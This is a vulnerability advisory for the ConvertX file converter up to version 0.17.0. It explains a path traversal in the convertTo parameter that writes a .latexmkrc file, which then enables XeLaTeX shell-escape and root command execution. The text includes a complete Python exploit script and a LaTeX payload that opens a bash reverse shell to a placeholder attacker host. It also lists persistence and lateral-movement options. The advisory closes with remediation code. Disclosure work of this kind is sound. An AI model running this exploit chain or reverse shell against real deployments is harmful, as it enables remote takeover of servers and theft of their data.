ConvertX 0.17.0 Low-Privilege or Unauthenticated Remote Code Execution via convertTo Path Traversal and .latexmkrc Injection
ConvertX through 0.17.0 contains a critical remote code execution chain exploitable by any authenticated user via HTTP requests only. The vulnerability combines three weaknesses:
-
Path Traversal in
convertToparameter (src/converters/main.ts:166-174) — theconvertTovalue flows unsanitized throughnormalizeOutputFiletype()intonewFileExt, which is directly concatenated into the outputtargetPath. An attacker can inject../sequences to write converter output to arbitrary filesystem locations. -
markitdown content passthrough (
src/converters/markitdown.ts) — the markitdown converter writes its output directly to the attacker-controlledtargetPath. When given a plain text input file, the output is the input text itself, allowing full content control. -
XeLaTeX shell-escape via
.latexmkrc(src/converters/xelatex.ts) — latexmk 4.86 reads.latexmkrcfrom its current working directory (/app/). If the file contains$xelatex = 'xelatex -shell-escape %O %S';, subsequent XeLaTeX conversions execute\write18{}commands as root because the Docker container has noUSERdirective.
The full chain was verified on a live deployment — commands executed as uid=0(root), enabling reverse shells and arbitrary command execution inside the container.
- Product: ConvertX
- Vendor: C4illin (https://github.com/C4illin/ConvertX)
- Repository: https://github.com/C4illin/ConvertX
- Affected Versions: 0.17.0 (latest release)
- Components:
src/converters/main.ts(path traversal),src/converters/markitdown.ts(arbitrary write),src/converters/xelatex.ts(RCE sink) - Docker Image:
ghcr.io/c4illin/convertx:latest,c4illin/convertx:latest
Fklov
File: src/converters/main.ts:166-174
const fileTypeOrig = fileName.split(".").pop() ?? "";
const fileType = normalizeFiletype(fileTypeOrig);
const newFileExt = normalizeOutputFiletype(convertTo); // ← convertTo = "../../../../.latexmkrc"
const newFileName = fileName.replace( // ← replaces extension with traversal
new RegExp(`${fileTypeOrig}(?!.*${fileTypeOrig})`),
newFileExt, // ← unsanitized path injection
);
const targetPath = `${userOutputDir}${newFileName}`; // ← traverses to /app/.latexmkrcnormalizeOutputFiletype() does NOT strip / or .. characters:
// src/helpers/normalizeFiletype.ts
export const normalizeOutputFiletype = (filetype: string): string => {
const lowercaseFiletype = filetype.toLowerCase();
switch (lowercaseFiletype) { /* only handles known extensions */ }
default: return lowercaseFiletype; // ← "../../../../.latexmkrc" passes through
};Key insight: filename "html" (no dot) — when the uploaded filename has no extension dot, fileTypeOrig equals the entire filename. The regex replacement then substitutes the entire filename with the traversal path, producing a clean ../ sequence with no intermediate directory:
fileName = "html"
fileTypeOrig = "html"
newFileExt = "../../../../.latexmkrc"
newFileName = "html".replace(/html/, "../../../../.latexmkrc")
= "../../../../.latexmkrc" ← no intermediate dir!
targetPath = "./data/output/2/12/" + "../../../../.latexmkrc"
= "/app/.latexmkrc"
File: src/converters/markitdown.ts:17-18
execFile("markitdown", [filePath, "-o", targetPath], ...)
// ↑ writes output directly to attacker-controlled targetPath
// ↑ plain text input → plain text output (content passthrough)
// ↑ does NOT use convertTo as a format parameter — ideal for traversalFile: src/converters/xelatex.ts:24-27
execFile(
"latexmk",
["-xelatex", "-interaction=nonstopmode", `-output-directory=${outputPath}`, filePath],
// No -no-shell-escape flag
// No -r /dev/null (allow any .latexmkrc)
)latexmk 4.86 loads .latexmkrc from CWD (/app/). The CWD is inherited from the Bun process. The converter selection is user-controllable via convert_to=pdf,xelatex:
// src/converters/main.ts:203-204
if (converterName) {
converterFunc = properties[converterName]?.converter;
// User-specified converter runs regardless of file extension
}- Authentication required in default deployments
- No authentication required when
ALLOW_UNAUTHENTICATED=true - Low-privilege users can achieve full root RCE
┌─────────────────────────────────────────────────────────┐
│ Step 1: Path Traversal → Write /app/.latexmkrc │
├─────────────────────────────────────────────────────────┤
│ POST /upload → filename="html" │
│ content = "$xelatex = 'xelatex -shell-escape %O %S';" │
│ │
│ POST /convert │
│ convert_to = "../../../../.latexmkrc,markitDown" │
│ file_names = ["html"] │
│ │
│ → markitdown writes output to /app/.latexmkrc │
│ → content: $xelatex = 'xelatex -shell-escape %O %S'; │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ Step 2: Trigger XeLaTeX RCE via \write18 │
├─────────────────────────────────────────────────────────┤
│ POST /upload → filename="exploit.tex" │
│ content contains \write18{id > /tmp/pwned} │
│ │
│ POST /convert │
│ convert_to = "pdf,xelatex" │
│ file_names = ["exploit.tex"] │
│ │
│ → latexmk reads /app/.latexmkrc │
│ → xelatex -shell-escape -interaction=nonstopmode ... │
│ → \write18{command} executes as root (uid=0) │
└─────────────────────────────────────────────────────────┘
import requests
import time
TARGET_BASE_URL = "http://target.com:3000"
ATTACKER_EMAIL = "fklov@fklov.com"
ATTACKER_PASSWORD = "fklov"
LATEXMKRC_FILENAME = "html"
LATEXMKRC_CONTENT = b"$xelatex = 'xelatex -shell-escape %O %S';\n"
TRAVERSAL_CONVERT_TO = "../../../../.latexmkrc,markitDown"
RCE_TEX_FILENAME = "exploit.tex"
RCE_TEX_CONTENT = rb'''\documentclass{article}
\begin{document}
\immediate\write18{bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/4033 0>&1' &}
\end{document}'''
RCE_CONVERT_TO = "pdf,xelatex"
BASE = TARGET_BASE_URL
s = requests.Session()
# --- AUTH ---
s.post(f"{BASE}/login", data={"email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD})
s.get(f"{BASE}/")
print(f"jobId: {s.cookies.get('jobId')}")
# --- STEP 1: Write .latexmkrc via path traversal ---
# Filename "html" has no dot → entire name = fileTypeOrig → clean replacement
s.post(f"{BASE}/upload", files={"file": (LATEXMKRC_FILENAME, LATEXMKRC_CONTENT, "text/plain")})
s.post(f"{BASE}/convert", data={
"convert_to": TRAVERSAL_CONVERT_TO,
"file_names": '["html"]'
})
print("[✓] .latexmkrc written to /app/.latexmkrc")
time.sleep(2)
# --- STEP 2: Trigger RCE via XeLaTeX ---
s.post(f"{BASE}/upload", files={"file": (RCE_TEX_FILENAME, RCE_TEX_CONTENT, "application/x-tex")})
s.post(f"{BASE}/convert", data={
"convert_to": RCE_CONVERT_TO,
"file_names": '["exploit.tex"]'
})
print("[✓] RCE triggered")\documentclass{article}
\begin{document}
\immediate\write18{bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/4033 0>&1' &}
\end{document}| Capability | Status | Details |
|---|---|---|
| Remote Code Execution | ✅ root (uid=0) | No USER directive in Dockerfile |
| Arbitrary File Write | ✅ | Path traversal to any writable location |
| Arbitrary File Read | ✅ | Via XeLaTeX \openin/\read primitives |
| Reverse Shell | ✅ | bash, curl, python3 available |
| Outbound Network | ✅ | Confirmed working |
| Persistence | ✅ | SSH key, crontab, source modification |
| Lateral Movement | ✅ | Cloud metadata, internal services |
Validate and canonicalize the generated output path before use.
const resolved = path.resolve(targetPath);
if (!resolved.startsWith(path.resolve(userOutputDir))) {
throw new Error("Path traversal detected");
}Additionally, reject /, , and .. sequences in convertTo / newFileExt.
// src/converters/xelatex.ts
execFile("latexmk", [
"-xelatex",
"-no-shell-escape", // Blocks \write18 unconditionally
"-r", "/dev/null", // Ignore ALL .latexmkrc files
"-interaction=nonstopmode",
`-output-directory=${outputPath}`,
filePath
]);